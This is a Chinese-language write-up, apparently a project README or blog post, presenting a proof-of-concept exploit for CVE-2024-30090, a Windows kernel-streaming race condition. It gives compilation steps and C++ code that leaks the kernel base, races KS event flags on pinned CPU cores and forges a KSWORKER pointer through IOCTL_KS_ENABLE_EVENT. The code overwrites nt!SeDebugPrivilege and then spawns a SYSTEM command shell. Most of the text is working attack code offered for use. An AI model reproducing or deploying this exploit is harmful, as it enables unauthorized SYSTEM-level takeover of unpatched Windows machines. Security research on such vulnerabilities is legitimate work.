Windows内核提权漏洞CVE-2024-30090概念验证利用

6 阅读4分钟

CVE-2024-30090 - Windows内核本地提权漏洞利用

项目概述

本项目是针对微软Windows内核漏洞CVE-2024-30090的完整概念验证(PoC)利用代码。该漏洞由Angelboy(DEVCORE团队)发现,利用Windows内核流媒体驱动框架中的竞态条件,通过精心构造的KS事件触发内核内存损坏,最终实现从中等完整性级别到SYSTEM权限的本地提权。

功能特性

  • 双进程协作架构:Parent进程负责获取ntoskrnl基址和SeDebugPrivilege地址,Child进程执行核心漏洞利用
  • 内核信息泄露:通过NtQuerySystemInformation无特权获取ntoskrnl.exe模块基址
  • 竞态条件利用:双线程跨核心竞争KS时钟事件处理流程,触发类型混淆
  • KSWorkItem劫持:利用KSEVENTF_KSWORKITEM通知类型,劫持内核工作项对象指针
  • CPU核心绑定:精确控制线程在指定CPU核心上运行,提高竞态成功率
  • 特权位覆盖:通过内核任意地址写入,修改nt!SeDebugPrivilege启用位

安装指南

系统要求

  • Windows 11 23H2 (build 10.0.22621.3672) 或其他受影响版本
  • 至少2个CPU核心
  • Visual Studio 2019或更高版本(支持x64/x86编译)

编译步骤

  1. Parent.cpp编译配置

    • 平台:x64
    • 编译选项:/MT /O2
    • 链接库:ntdll.lib
  2. Child.cpp编译配置

    • 平台:x86
    • 编译选项:/MT /O2
    • 链接库:ntdll.lib, ksuser.lib, ksproxy.lib
  3. 项目结构

    ├── Parent.cpp      # x64主控程序
    ├── Child.cpp       # x86漏洞利用核心
    ├── winhelpers.h    # 辅助函数声明
    └── _ksproxy.h      # KS代理接口定义
    

使用说明

基础执行流程

  1. 编译生成Parent.exeChild.exe
  2. 以普通用户权限运行Parent.exe
  3. 程序自动启动子进程并执行提权操作

利用原理

// 漏洞触发核心代码片段
g_ksevent.Set = KSEVENTSETID_Clock;
g_ksevent.Id = KSEVENT_CLOCK_INTERVAL_MARK;
g_eventData.EventData.NotificationType = KSEVENTF_KSWORKITEM;
g_eventData.KsWorkerObject = (LONGLONG)(target_addr - 0x5C);  // 伪造KSWORKER指针

// 双线程竞态触发
while (1) {
    g_ksevent.Flags ^= xor_mask_flags;  // 交替切换标志位
    Sleep(5);
}

成功标志

  • 控制台输出"race success ! 3/3"
  • 自动弹出SYSTEM权限的命令行窗口

核心代码

Parent.cpp - 内核基址获取

// 通过NtQuerySystemInformation获取ntoskrnl基址
PCHAR GetKernelBase(void) {
    DWORD dwSize = 0;
    
    // 获取所需缓冲区大小
    if (NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 
                                  NULL, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH)
        error("Cannot get length of system module list array");
    
    PSYSTEM_MODULE_INFORMATION pSystemModules = (PSYSTEM_MODULE_INFORMATION)malloc(dwSize);
    
    if (!NT_SUCCESS(NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 
                                              pSystemModules, dwSize, &dwSize)))
        error("Cannot get system module list");
    
    // 遍历模块列表查找ntoskrnl.exe
    for (DWORD i = 0; i < pSystemModules->ModulesCount; i++) {
        if (strstr((const char*)pSystemModules->Modules[i].Name, "ntoskrnl.exe")) {
            PCHAR pBase = (PCHAR)pSystemModules->Modules[i].ImageBaseAddress;
            free(pSystemModules);
            return pBase;
        }
    }
    error("Cannot find ntoskrnl.exe in system module list");
}

int main() {
    // 获取内核基址并计算SeDebugPrivilege地址
    NtKernelBase = (DWORD64)GetKernelBase();
    NtSeDebugPrivilegeVA = NtKernelBase + NtSeDebugPrivilege_RVA;
    
    // 启动子进程进行漏洞利用
    _snwprintf_s(cmdLine, sizeof(cmdLine) / sizeof(wchar_t), 
                 _TRUNCATE, L"Child.exe 0x%llx", NtSeDebugPrivilegeVA);
    CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

Child.cpp - 竞态条件利用

// 双核心竞态线程
void flip_thread() {
    ULONG xor_mask_flags = KSEVENT_TYPE_ENABLE ^ KSEVENT_TYPE_QUERYBUFFER;
    pin_name_to_cpu("flip_thread", CORE_ID_0, TRUE);
    set_priority_and_class(THREAD_PRIORITY_HIGHEST, HIGH_PRIORITY_CLASS);
    
    while (1) {
        g_ksevent.Flags ^= xor_mask_flags;  // 持续翻转标志位触发竞态
        Sleep(5);
    }
}

// 漏洞利用主函数
BOOL ExploitIoctlKsEnableEvent(DWORD64 target_addr) {
    // 构造恶意KS事件数据
    g_ksevent.Set = KSEVENTSETID_Clock;
    g_ksevent.Id = KSEVENT_CLOCK_INTERVAL_MARK;
    
    g_eventData.EventData.NotificationType = KSEVENTF_KSWORKITEM;
    // 关键:伪造KSWORKER指针,偏移0x5C指向目标地址
    g_eventData.KsWorkerObject = (LONGLONG)(target_addr - 0x5C);
    
    // 绑定到不同CPU核心提高竞态成功率
    pin_name_to_cpu("main_thread", CORE_ID_1, TRUE);
    hFlipThread = xCreateThread(flip_thread, NULL, NULL, TRUE);
    
    // 多次尝试触发漏洞
    while (inc_count < 3) {
        KsOpenDefaultDevice(KSCATEGORY_CLOCK, GENERIC_READ | GENERIC_WRITE, &hClockDevice);
        SetClockState(hClockDevice, KSSTATE_RUN);
        
        // 发送恶意IOCTL触发漏洞
        if (DeviceIoControl(hClockDevice, IOCTL_KS_ENABLE_EVENT,
                          &g_ksevent, sizeof(KSEVENT) + 0x100,
                          &g_eventData, sizeof(MYKSEVENT_TIME_INTERVAL),
                          &bytesReturned, NULL)) {
            inc_count += 1;
        }
    }
    return TRUE;
}

winhelpers.h - 核心辅助函数

#pragma once
#include <windows.h>

#define CORE_ID_0 0
#define CORE_ID_1 1

// 线程与CPU核心绑定
BOOL pin_name_to_cpu(char* name, size_t core_id, BOOL high_priority);

// 获取系统CPU核心数
int get_core_count(void);

// 创建并绑定CPU的线程
HANDLE xCreateThread(void* func, void* arg, PDWORD thread_id, BOOL bind_cpu);

// 提升线程优先级
BOOL set_priority_and_class(int thread_priority, int process_class);

// 生成SYSTEM权限CMD
int spwan_cmd_system(void);

技术细节

漏洞利用通过Windows内核流媒体驱动(KS)的IOCTL_KS_ENABLE_EVENT处理函数中的类型混淆漏洞,结合KSEVENTF_KSWORKITEM标志位,实现对内核KSWORKER对象的劫持,最终达成任意地址写入原语并修改nt!SeDebugPrivilege启用当前进程的特权位。 6HFtX5dABrKlqXeO5PUv/9JM4Ca1c1avq2Jvk+g1Rms=